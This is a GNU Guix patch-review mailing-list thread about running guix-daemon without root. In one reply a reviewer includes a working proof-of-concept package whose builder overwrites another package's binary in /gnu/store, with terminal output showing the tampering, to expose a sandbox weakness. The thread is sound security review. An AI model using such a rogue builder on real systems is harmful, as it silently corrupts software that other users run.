In this patch series, it attempts to chown the tree; if it fails to do
so (because it lacks CAP_CHOWN), it prints a warning and keeps going.

> Perhaps the garbage collector could be modified to get rid of them?
> In which case it may be best to make it so that the failed build
> directories are automatically added to the temp roots for a client,
> and the client takes care to copy the failed build directory to a
> fresh path owned by the current user?  Or we could make it so that the
> failed build directory gets sent over the wire in nar form to the
> client.  Not sure what the best approach there is.

Dunno.  Sending it as nar may be too heavyweight and quite a bit of
work.

I=E2=80=99d say it goes beyond the scope of this patch series, though.

> We currently remount /gnu/store read-write at LocalStore-creation-time,
> which happens in the newly-forked guix-daemon process at the start of a
> connection.  I don't think there's any particularly elevated risk from
> instead doing that before the per-connection process is forked.  There
> are a number of ways we could do this: we could make it the
> responsibility of the init system to create the mount namespace and do
> the remounting, or we could have guix-daemon do it immediately on
> startup and subsequently switch its uid and gid to
> guix-daemon:guix-daemon.  These lack the slick appeal of "see, you never
> have to give it root, and you can prove it just by looking at the
> service file", but realistically should be just as secure.  It may be
> useful to provide a small wrapper around guix-daemon that does the
> remount and privilege-dropping, to more succinctly express this to
> anybody wishing to see for themselves.

I think I=E2=80=99d prefer to have a systemd (or other) service make a
read-write bind-mount at /gnu/store/.rw-store, and then we=E2=80=99d run
=E2=80=98guix-daemon --backing-store=3D/gnu/store/.rw-store=E2=80=99.

WDYT?

> There are, effectively, 3 platforms that guix currently supports: posix,
> linux, and hurd.

Rather two: Linux and Hurd.  But note: we don=E2=80=99t use any Hurd-specif=
ic
features yet, and in practice all the energy and focus is on Linux (on
the Hurd we run =E2=80=98guix-daemon --disable-chroot=E2=80=99 anyway).

Adding the privileged/unprivileged setting, we=E2=80=99d have two configura=
tions
really, again setting aside the Hurd.

The way I see it, if everything goes well, we=E2=80=99d default to unprivil=
eged
guix-daemon on Guix System as well and eventually (longer term) drop the
privileged daemon.

> Personally, I think that if a guix-daemon can use privilege separation
> users, it would probably be a good idea to.  We're certainly going to
> need to support them on non-linux systems either way.  Could it be
> possible to have guix-install.sh modify /etc/sudoers on systems that use
> it to allow the guix-daemon user to run processes under guix builder
> users?  I am currently less worried about arbitrary code execution
> vulnerabilities being found in the daemon than about the possibility of
> malicious builders (but it is possible I am underexposed to the ways
> those can happen in C++).

What would you put in /etc/sudoers?  I=E2=80=99m not sure what you had in m=
ind.

Aside, I=E2=80=99d rather avoid relying on external tools like =E2=80=98sud=
o=E2=80=99.

> Additionally, CAP_CHOWN, while not having a direct path to privilege
> escalation due to setuid and setgid bits being reset when chown is
> called, can nevertheless be easily leveraged into privilege escalation
> in most real-world situations where arbitrary code execution is
> possible, so switching to using just that capability would realistically
> only add defense in less-than-arbitrary-code-execution scenarios.

I agree about CAP_CHOWN, which is why I proposed scenarios without it.

Thanks a lot for your feedback!

I=E2=80=99ll send a second version addressing the immediate issue you found
and, if everything goes well, an attempt at restoring the /gnu/store
read-only bind-mount.

Ludo=E2=80=99.

--=-=-=--




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 26 Jan 2025 00:39:59 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Sat Jan 25 19:39:59 2025
Received: from localhost ([127.0.0.1]:53216 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tbqgw-0000n8-G9
	for submit <at> debbugs.gnu.org; Sat, 25 Jan 2025 19:39:59 -0500
Received: from mailout.russelstein.xyz ([2605:6400:20:11e::1]:39146)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <reepca@HIDDEN>)
 id 1tbqgs-0000mn-Ey
 for 75810 <at> debbugs.gnu.org; Sat, 25 Jan 2025 19:39:56 -0500
DKIM-Signature: v=1; a=ed25519-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=ed25519; h=Content-Type:MIME-Version:Message-ID:Date:
 Subject:Cc:To:From:Sender:Reply-To:Content-Transfer-Encoding:Content-ID:
 Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
 :Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:
 List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=wQyG0DCngy20L29OZSejT2Qh3hLwn3VWOUvdKlWjcVg=; b=/6zn4adiQKpucNvSmUJg+pEHzg
 M26VPPAHEVejXfDUlyv1qNLE8HWVUdbqPOJXiKujCdorRGN66Rm1bXjtXdDA==;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=rsa; h=Content-Type:MIME-Version:Message-ID:Date:Subject
 :Cc:To:From:Sender:Reply-To:Content-Transfer-Encoding:Content-ID:
 Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
 :Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:
 List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=wQyG0DCngy20L29OZSejT2Qh3hLwn3VWOUvdKlWjcVg=; b=OMo1scxXbK08D7aDTzNoFjnoMM
 UTftPxQ1L+EKF0Jn1kF2oJTuNehbBygqlAVMHFd4B9lheCPSWhIvkKakwNhXgcCNA4p7iBDV1yLG2
 WAUADo41MxADlPVH1KGwmVrYHoWoRa6Mo/jzV4ah147nGO/6Y3g9cvUpI76DOPCutuVpLb+3xrAVk
 R5XeygdadPnehzqfnsqs7xPU0XEXlMF/a+UB5mE3rm0L4P/m1i49vfgFoB5/yhbovOObYrmgW9vfx
 1ui1eXO10ndX6BhAc9VV2sjVHJwkMqOrQhJiXvVAdFYZy5LvJz5Sm+hI9UPIlepqkU4JEnCzSKGQ1
 Aecb5CsXlmDlISMufMAaqqCJJmeMbrnDbFqpywgwbOTKAA3ZD3gBQ6sB1ldOxDEJe8sl0uE3sPesB
 2WfDuvbck7OfQRceGFeJ5q13eVl0rtIL32xsN1eNiZYDgkLj1PHTN3rsPpfe3N3IiDdGjAF10cs7I
 Mphb0ydeZRvETGOxqgEr3uY/ruzO0tyWeN4fdhtirdjNHj2PTjncKa13oZJ1w4Dwzh+fBWUAJ/RhG
 ISOS1BndKRNSSDYJni6q5n7ObZ0S3rLo13Ig75M8S4x0QfNNgwFF0P0h4zbivsVypUk2CRIQf2ceH
 kMte+W3slXU7XPf+V680ZSrmy0dZ0VUWoahtC5FmU=;
Received: by russelstein.xyz with esmtpsa
 (TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256)
 (Exim 4.98) (envelope-from <reepca@HIDDEN>)
 id 1tbqgl-000000004KD-2tF4; Sat, 25 Jan 2025 18:39:49 -0600
From: Reepca Russelstein <reepca@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: Re: [bug#75810] [PATCH 0/6] Rootless guix-daemon
Date: Sat, 25 Jan 2025 18:39:04 -0600
Message-ID: <87r04qe7dj.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="=-=-=";
 micalg=pgp-sha256; protocol="application/pgp-signature"
X-Spam-Score: 0.9
X-Spam-Bar: /
X-Spam-Score-Int: 9
X-Spam-Report: Spam detection software, running on the system "Sanctum",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 Content preview: > Hello Guix! > > That guix-daemon runs as root is not
 confidence-inspiring
 for many. > Initially, the main reason for running it as root was, in the
 absence > of user namespaces, the fact that builde [...] 
 Content analysis details:   (0.9 points, 5.0 required)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 NO_RELAYS              Informational: message was not relayed via SMTP
 0.4 FROM_SUSPICIOUS_NTLD_FP From abused NTLD
 0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
 0.0 FAKE_REPLY_C           No description available.
X-Spam-Score: 3.0 (+++)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 Content preview: > Hello Guix! > > That guix-daemon runs as root is not
 confidence-inspiring
 for many. > Initially, the main reason for running it as root was, in the
 absence > of user namespaces, the fact that builde [...] 
 Content analysis details:   (3.0 points, 10.0 required)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
 0.7 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
 [URI: russelstein.xyz (xyz)]
 0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
 -0.0 T_SCC_BODY_TEXT_LINE   No description available.
 1.7 FROM_SUSPICIOUS_NTLD_FP From abused NTLD
 0.0 FAKE_REPLY_C           No description available.
X-Debbugs-Envelope-To: 75810
Cc: ludo@HIDDEN
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: 1.2 (+)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  > Hello Guix! > > That guix-daemon runs as root is not confidence-inspiring
    for many. > Initially, the main reason for running it as root was, in the
    absence > of user namespaces, the fact that builde [...] 
 
 Content analysis details:   (1.2 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
  0.7 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
 -0.0 T_SCC_BODY_TEXT_LINE   No description available.
  1.0 BULK_RE_SUSP_NTLD      Precedence bulk and RE: from a suspicious TLD
  0.0 FAKE_REPLY_C           No description available.
 -1.0 MAILING_LIST_MULTI     Multiple indicators imply a widely-seen list
                             manager

--=-=-=
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable


> Hello Guix!
>=20
> That guix-daemon runs as root is not confidence-inspiring for many.
> Initially, the main reason for running it as root was, in the absence
> of user namespaces, the fact that builders would be started under one
> of the build user accounts, which only root can do.  Now that
> unprivileged user namespaces are almost ubiquitous (even on HPC
> clusters), this is no longer a good reason.

Without the build users, we're relying entirely on kernel-specific
sandboxing mechanisms to protect the system from rogue builders.  It's
probably (?) not impossible to make it work, but, as with every time
security mechanisms are changed, it does require some very careful
thought.

For example, consider the following:

=2D-8<---------------cut here---------------start------------->8---
(use-modules (guix)
             (gnu)
             (guix build-system trivial))

(define-public sneakysneaky
  (package
    (name "sneakysneaky")
    (version "0")
    (source #f)
    (build-system trivial-build-system)
    (arguments
     (list
      #:builder
      #~(let ((hello (string-append #$(this-package-input "hello")
                                    "/bin/hello")))
          (chmod (dirname hello) #o775)
          (chmod hello #o775)
          (delete-file hello)
          (call-with-output-file hello
            (lambda (port)
              (chmod port #o775)
              (display "#!/bin/sh
echo \"GOOOOOD BYYEEEEEE\""
                       port)))
          (mkdir #$output))))
    (inputs (list (@ (gnu packages base) hello)))
    (home-page "")
    (synopsis "")
    (description "")
    (license #f)))

sneakysneaky
=2D-8<---------------cut here---------------end--------------->8---


If we save this as /tmp/mal-test.scm on a debian VM with these patches
applied, we can see the following:


=2D-8<---------------cut here---------------start------------->8---
user@debian:~$ guix build --no-grafts hello
/gnu/store/8bjy9g0cssjrw9ljz2r8ww1sma95isfj-hello-2.12.1
user@debian:~$ /gnu/store/8bjy9g0cssjrw9ljz2r8ww1sma95isfj-hello-2.12.1/bin=
/hello
Hello, world!
user@debian:~$ guix build --no-grafts -f /tmp/mal-test.scm
substitute: looking for substitutes on 'https://bordeaux.guix.gnu.org'... 1=
00.0%
substitute: looking for substitutes on 'https://ci.guix.gnu.org'... 100.0%
The following derivation will be built:
  /gnu/store/p15g92hfs7254pqfa3kss63dprw2clis-sneakysneaky-0.drv
building /gnu/store/p15g92hfs7254pqfa3kss63dprw2clis-sneakysneaky-0.drv...
successfully built /gnu/store/p15g92hfs7254pqfa3kss63dprw2clis-sneakysneaky=
-0.drv
/gnu/store/y1jzqg30cgkydl8kymjsh99zqgzh1yj1-sneakysneaky-0
user@debian:~$ /gnu/store/8bjy9g0cssjrw9ljz2r8ww1sma95isfj-hello-2.12.1/bin=
/hello
GOOOOOD BYYEEEEEE
user@debian:~$=20
=2D-8<---------------cut here---------------end--------------->8---

This happens because the daemon bind-mounts store items into the
container, so it's the same underlying inode both inside and out of the
container.  The build runs as the same user as the store owner, so
there's nothing stopping it from freely modifying its input store items
and any of their transitive references.

I suppose we could try to perform these bind-mounts with the MS_RDONLY
flag, but we would need some way to ensure that the builder can't just
remount them read-write (I haven't yet looked into how to do this).  The
nuclear option, of course, would be to simply do a full copy of the
store items in question instead of a bind-mount.

> This patch changes guix-daemon so it can run as an unprivileged
> user, using unprivileged user namespaces to still support isolated
> builds.  There=E2=80=99s a couple of cases where root is/was still necess=
ary:
>=20
>   1. To create /var/guix/profiles/per-user/$USER and chown it
>      as $USER (see CVE-2019-18192).
>=20
>   2. To chown /tmp/guix-build-* when using =E2=80=98--keep-failed=E2=80=
=99.
>=20
> Both can be addressed by giving CAP_CHOWN to guix-daemon, and this is
> what this patch series does on distros using systemd.  (For some
> reason CAP_CHOWN had to be added to the set of =E2=80=9Cambient capabilit=
ies=E2=80=9D,
> which are inherited by child processes; this is why there=E2=80=99s a pat=
ch
> to drop ambient capabilities in build processes.)
>=20
> On Guix System (not implemented here), we could address (1) by
> creating /var/guix/profiles/per-user/$USER upfront for all the
> user accounts.  We could leave (2) unaddressed (so failed build
> directories would be owned by guix-daemon:guix-daemon) or we=E2=80=99d
> have to pass CAP_CHOWN as well.

The automatic chown of /tmp/guix-build-* has always been a litte strange
considering that multiple users could attempt the same doomed-to-failure
derivation build at the same time, and it comes down to a race to see
who gets the build (and therefore the build directory).  This does raise
the question, though, of how these failed build directories would get
deleted, aside from rebooting the system.  Perhaps the garbage collector
could be modified to get rid of them?  In which case it may be best to
make it so that the failed build directories are automatically added to
the temp roots for a client, and the client takes care to copy the
failed build directory to a fresh path owned by the current user?  Or we
could make it so that the failed build directory gets sent over the wire
in nar form to the client.  Not sure what the best approach there is.

> There=E2=80=99s another issue: /gnu/store can no longer be remounted
> read-only (like we do on Guix System and on systemd with
> =E2=80=98gnu-store.mount=E2=80=99) because then unprivileged guix-daemon =
would
> be unable to remount it read-write (or at least I couldn=E2=80=99t find
> a way to do that).  Thus =E2=80=98guix-install.sh=E2=80=99 no longer inst=
alls
> =E2=80=98gnu-store.mount=E2=80=99 in that case.  It=E2=80=99s a bit sad t=
o lose that
> so if anyone can think of a way to achieve it, that=E2=80=99d be great.

We currently remount /gnu/store read-write at LocalStore-creation-time,
which happens in the newly-forked guix-daemon process at the start of a
connection.  I don't think there's any particularly elevated risk from
instead doing that before the per-connection process is forked.  There
are a number of ways we could do this: we could make it the
responsibility of the init system to create the mount namespace and do
the remounting, or we could have guix-daemon do it immediately on
startup and subsequently switch its uid and gid to
guix-daemon:guix-daemon.  These lack the slick appeal of "see, you never
have to give it root, and you can prove it just by looking at the
service file", but realistically should be just as secure.  It may be
useful to provide a small wrapper around guix-daemon that does the
remount and privilege-dropping, to more succinctly express this to
anybody wishing to see for themselves.

> The next step (in another patch series) would be Guix System support
> with automatic transition (essentially =E2=80=9Cchown -R
> guix-daemon:guix-daemon /gnu/store=E2=80=9D).
>=20
> Thoughts?

There are, effectively, 3 platforms that guix currently supports: posix,
linux, and hurd.  Posix doesn't get much attention since we don't chase
Mac like nix does, but there do exist configurations where we use
neither linux-specific nor hurd-specific functionality.  Additionally, a
given guix-daemon may be either privileged or unprivileged.  Thus, we
end up with a total of 6 configurations.  Except there is now also the
question of whether less-than-fully-trusted users are allowed access to
the guix-daemon's socket.  Now we're in theory at 12 configurations.
Which of these configurations to use is, in some circumstances, going to
come down to judgement calls.  For example, one user may not care at all
about the risk of malicious builders (e.g. "the admins on this shared
system all use the debian tools anyway"), but be quite concerned about
the possibility of a root-granting exploit being found in guix-daemon.
Another (like myself and other Guix System users) may consider a risk to
the store to be the same as a risk to the entire system itself.  In
theory splitting between "privileged-with-root" and
"privileged-with-capabilities" will only increase the number of
configurations further.

Personally, I think that if a guix-daemon can use privilege separation
users, it would probably be a good idea to.  We're certainly going to
need to support them on non-linux systems either way.  Could it be
possible to have guix-install.sh modify /etc/sudoers on systems that use
it to allow the guix-daemon user to run processes under guix builder
users?  I am currently less worried about arbitrary code execution
vulnerabilities being found in the daemon than about the possibility of
malicious builders (but it is possible I am underexposed to the ways
those can happen in C++).

Additionally, CAP_CHOWN, while not having a direct path to privilege
escalation due to setuid and setgid bits being reset when chown is
called, can nevertheless be easily leveraged into privilege escalation
in most real-world situations where arbitrary code execution is
possible, so switching to using just that capability would realistically
only add defense in less-than-arbitrary-code-execution scenarios.

Using unprivileged user namespaces would, however, be an excellent
addition for unprivileged daemons, like the one started by test-env, or
one started by an unprivileged user on a system without a whole-system
guix installation.

Hope that helps.

=2D reepca

--=-=-=
Content-Type: application/pgp-signature; name="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQFLBAEBCAA1FiEEdNapMPRLm4SepVYGwWaqSV9/GJwFAmeVhCkXHHJlZXBjYUBy
dXNzZWxzdGVpbi54eXoACgkQwWaqSV9/GJynXgf+JjAkPl4ovl0cvNj774zFtcoa
iXEzBEt9UX6Yu48Ja6f5OhqyuNd7ZxkZMCSz2ZrnOEABBk+hzTsRvg1VX1RFBqxo
jOyXWtPZYtSzFQdPL/CM5GD4oO8gW0QNf1/dn5cJDR1c4To6MSAt4v6CxLBspUZw
2DHKhGJwrKtFLWIR/6iFmmMzmn19npgFRjcL55Sb8qs691jvV1LmHJ4wN2E6p8M+
BtbWWulOGKClud2frYdI9zJp51iKIAm0V7xX6dnKhyz55OimlEv2vUHqktBOGehU
ymEqXwTf8ickK3XDPoYlRjcmv6BzuuQ4AR4I7ud8aHPF9rYSodXV64jNmnJ16w==
=3cRE
-----END PGP SIGNATURE-----
--=-=-=--




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 22:18:31 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Jan 24 17:18:31 2025
Received: from localhost ([127.0.0.1]:47341 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tbS0U-0006mQ-Vu
	for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 17:18:31 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:54166)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbS0S-0006m7-9o
 for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 17:18:28 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tbS0L-0002mr-VI; Fri, 24 Jan 2025 17:18:22 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:References:In-Reply-To:Subject:To:
 From; bh=mA5ShXo6qYQGH/TtdGwNkoLoxQrZVdArwGgcsnqoirM=; b=aVBOmG7sDco3knuAJPhB
 W7US1MQ9pfko2Ne2Lf4TozJRfLkVa2jGiWkwP7l710pc431vq0UgBCFDCoUbyjqBsZ+dSt2v2kXof
 2TMYphoAgF3WX9SQ63RWgoF+Tr5xEGNi3YI4k1MxlScAHWq+r7mpGyyj68wYXF4Ke/EA6yGwGbo1H
 QXdvHtaHtF322Z8Fss3Jv5Ll7+o+42JXYnvlJCr/nd6itFIdDCk8aXgmMlmDfawolnnMcXXc8Ho2j
 b2UmIyGcGwQFIZs6WVWV270HrXepUjSehumELb235AVhj3oPjQlYgWnezdZ7UzhzVCwxapv05uMVG
 zv5Hf8ubCiF9ow==;
From: =?utf-8?Q?Ludovic_Court=C3=A8s?= <ludo@HIDDEN>
To: Janneke Nieuwenhuizen <janneke@HIDDEN>
Subject: Re: [bug#75810] [PATCH 0/6] Rootless guix-daemon
In-Reply-To: <87ikq49fxx.fsf@HIDDEN> (Janneke Nieuwenhuizen's message of
 "Fri, 24 Jan 2025 20:20:42 +0100")
References: <cover.1737738362.git.ludo@HIDDEN> <87ikq49fxx.fsf@HIDDEN>
Date: Fri, 24 Jan 2025 23:18:16 +0100
Message-ID: <87y0yzdffb.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

Hello,

Janneke Nieuwenhuizen <janneke@HIDDEN> skribis:

>> There=E2=80=99s another issue: /gnu/store can no longer be remounted
>> read-only (like we do on Guix System and on systemd with
>> =E2=80=98gnu-store.mount=E2=80=99) because then unprivileged guix-daemon=
 would
>> be unable to remount it read-write (or at least I couldn=E2=80=99t find
>> a way to do that).  Thus =E2=80=98guix-install.sh=E2=80=99 no longer ins=
talls
>> =E2=80=98gnu-store.mount=E2=80=99 in that case.  It=E2=80=99s a bit sad =
to lose that
>> so if anyone can think of a way to achieve it, that=E2=80=99d be great.
>
> Hmm.  So this is is about using guix as a package manager on foreign
> systems, for now?

Yes, but the goal is to eventually make it available (as an option) on
Guix System.

> Will there be an option for users to choose between a non-root
> guix-daemon or a read-only store?

I would prefer not having to choose between the two, but as I wrote, I
don=E2=80=99t know how to make it work.

Currently =E2=80=98makeStoreWritable=E2=80=99 does this:

    if (stat.f_flag & ST_RDONLY) {
        if (unshare(CLONE_NEWNS) =3D=3D -1)
            throw SysError("setting up a private mount namespace");

        if (mount(0, settings.nixStore.c_str(), "none", MS_REMOUNT | MS_BIN=
D, 0) =3D=3D -1)
            throw SysError(format("remounting %1% writable") % settings.nix=
Store);
    }

But the remount trick only works if you=E2=80=99re actually root.

As non-root, what can guix-daemon do?  It could (bind-)mount the
underlying file system, but how to do that?  (Thinking out loud.)
Perhaps =E2=80=98gnu-store.mount=E2=80=99 could stash the read-write varian=
t aside, say
in /gnu/.rw-store, and guix-daemon would bind-mount that to /gnu/store?

> I'm kind of afraid that having a writable /gnu/store, even if it's just
> on foreign distributions, is going to cause a whole lot of problems/bug
> reports with people changing files in the store.  When I came to guix I
> ran it on Debian for a couple of months and I certainly changed files in
> the store, even with the read-only mount hurdle, to "get stuff to
> build".  Only later to realise that by doing so I was making things much
> more difficult for myself.

Yeah, agreed.

Thanks for your feedback!

Ludo=E2=80=99.




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 19:21:15 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Jan 24 14:21:15 2025
Received: from localhost ([127.0.0.1]:47089 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tbPEx-0003hd-3t
	for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 14:21:15 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:34204)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <janneke@HIDDEN>) id 1tbPEr-0003hJ-Aq
 for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 14:21:10 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <janneke@HIDDEN>)
 id 1tbPEV-0000RN-Fp; Fri, 24 Jan 2025 14:20:47 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:References:In-Reply-To:Subject:To:
 From; bh=Apq6hxtpX8+MuuC+sRbkcgdil4CvMM9W0jHH/AtkjVI=; b=OcwjYbqwT+bz/26U9cwu
 UI7r+kGp2wQ/1imOPVVkE/FdHYJLMepWjrDmrQvbeqd2/LTWxz/zk5VBaE/P4a2Z7DkLmQnQOBDWa
 +9cIaYCvSQNfHi0a8T9kd8/4hPK37InHzcKpruXW0PRr+b/w/KiExQTo9qYDULyj/3UeaXnlNdhs9
 TKCJLLrQ8Qloj39ge2uhcUusigrkfk+6IjSu8thP/PKQvGidigxoihrjZv7YfCKDMyHcNE7YNxHpN
 +bA+SZH9u2Q9odsMFOad+dwnSZWtMK8Qkwf/xtM2cBusrPUgWyDB6j9XZUKOtjTqpC1i+cOU05TJX
 jfrsevEVPBuDIw==;
From: Janneke Nieuwenhuizen <janneke@HIDDEN>
To: Ludovic =?utf-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Subject: Re: [bug#75810] [PATCH 0/6] Rootless guix-daemon
In-Reply-To: <cover.1737738362.git.ludo@HIDDEN> ("Ludovic =?utf-8?Q?Court?=
 =?utf-8?Q?=C3=A8s=22's?= message
 of "Fri, 24 Jan 2025 18:23:08 +0100")
Organization: AvatarAcademy.nl
References: <cover.1737738362.git.ludo@HIDDEN>
X-Url: http://AvatarAcademy.nl
Date: Fri, 24 Jan 2025 20:20:42 +0100
Message-ID: <87ikq49fxx.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

Ludovic Court=C3=A8s writes:

Hello!

> That guix-daemon runs as root is not confidence-inspiring for many.

Certainly, in fact, this and the many build users was [sadly?] the
reason I didn't look further into Nix around 2010 or so...

[..]

> This patch changes guix-daemon so it can run as an unprivileged
> user, using unprivileged user namespaces to still support isolated
> builds.

Yay, awesome!

> There=E2=80=99s a couple of cases where root is/was still necessary:

[..]

> There=E2=80=99s another issue: /gnu/store can no longer be remounted
> read-only (like we do on Guix System and on systemd with
> =E2=80=98gnu-store.mount=E2=80=99) because then unprivileged guix-daemon =
would
> be unable to remount it read-write (or at least I couldn=E2=80=99t find
